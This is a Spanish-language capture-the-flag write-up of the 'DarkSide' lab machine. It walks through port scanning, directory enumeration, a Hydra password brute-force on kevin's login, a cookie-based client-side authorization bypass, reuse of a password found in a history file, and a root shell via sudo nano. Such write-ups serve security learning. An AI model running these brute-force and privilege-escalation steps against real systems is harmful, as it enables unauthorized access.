Enumeración de servicios
Comenzamos con un escaneo general y específico de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.20❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-10 14:24 -03
Nmap scan report for 192.168.1.20
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
| 256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_ 256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: The DarkSide
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 secondsEnumeramos directorios con gobuster:
❯ gobuster dir -u http://192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.php (Status: 200) [Size: 683]
/backup (Status: 301) [Size: 313] [--> http://192.168.1.20/backup/]
...Enumeración web y acceso inicial
En /backup encontramos un vote.txt que revela varios usuarios y uno destacado, kevin:
❯ cat vote.txt
File: vote.txt
rijaba: Yes
xerosec: Yes
sml: No
cromiphi: No
gatogamer: No
chema: Yes
talleyrand: No
d3b0o: Yes
Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.El index tiene un login. Evaluamos una posible Weak Password para el usuario kevin, mediante Intruder de Burp o alternativamente Hydra.
El backup reduce el problema a una cuenta concreta. Esto evita combinar listas grandes de usuarios y contraseñas y convierte la prueba en una validación acotada de la contraseña de kevin:
❯ hydra -l kevin -P ~/Documentos/wordlists/rockyou.txt 192.168.56.107 http-post-form "/:user=kevin&pass=^PASS^:invalid"Una vez dentro, nos recibe un mensaje con una cadena cifrada:
Hello Kevin
Remember to go to:
kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCCCon CyberChef (opción Magic) la desciframos a una dirección .onion:
sfqekmgncutjhbypvxda.onionEn ese directorio hay un mensaje y un script que comprueba una cookie:
Which Side Are You On?<script>
var sideCookie = document.cookie.match(/(^| )side=([^;]+)/)
if (sideCookie && sideCookie[2] === 'darkside') {
window.location.href = 'hwvhysntovtanj.password'
}
</script>Manipulamos la cookie con la extensión EditThisCookie, cambiando el valor whiteside por darkside. Al recargar, la página nos muestra unas credenciales con las que iniciamos sesión por SSH y obtenemos la primera flag.
El JavaScript toma la decisión de acceso completamente en el navegador. Es Client-Side Authorization Bypass: como el usuario controla sus cookies y puede modificar el script, side=darkside no constituye una autorización real. El servidor entrega el recurso sin volver a validar el privilegio.
Movimiento lateral y escalada de privilegios
Inspeccionando el home del usuario, un archivo .history contiene lo que parece la contraseña de otro usuario (rijaba). Con esa sesión iniciamos la escalada con sudo -l.
Los historiales pueden conservar argumentos escritos en comandos, incluidas contraseñas utilizadas de forma insegura. Validamos la cadena con su rijaba antes de revisar sus permisos y así distinguimos una credencial vigente de una pista antigua:
rijaba@darkside:~$ sudo -l
Matching Defaults entries for rijaba on darkside:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rijaba may run the following commands on darkside:
(root) NOPASSWD: /usr/bin/nanoPodemos ejecutar nano como root. Lo abrimos y, según GTFOBins, usamos Ctrl+T para ejecutar comandos y lanzar una shell.
Nano puede invocar herramientas externas desde su interfaz. Este caso de Sudo-Allowed Program Abuse crea un proceso hijo que hereda el UID efectivo de la instancia privilegiada, por lo que el escape no depende de modificar archivos del sistema:
❯ sudo nano❯ reset; sh 1>&0 2>&0Las notas registran que el escape permitió acceder como root y capturar la última bandera, pero no conservaron una salida de identidad de la shell.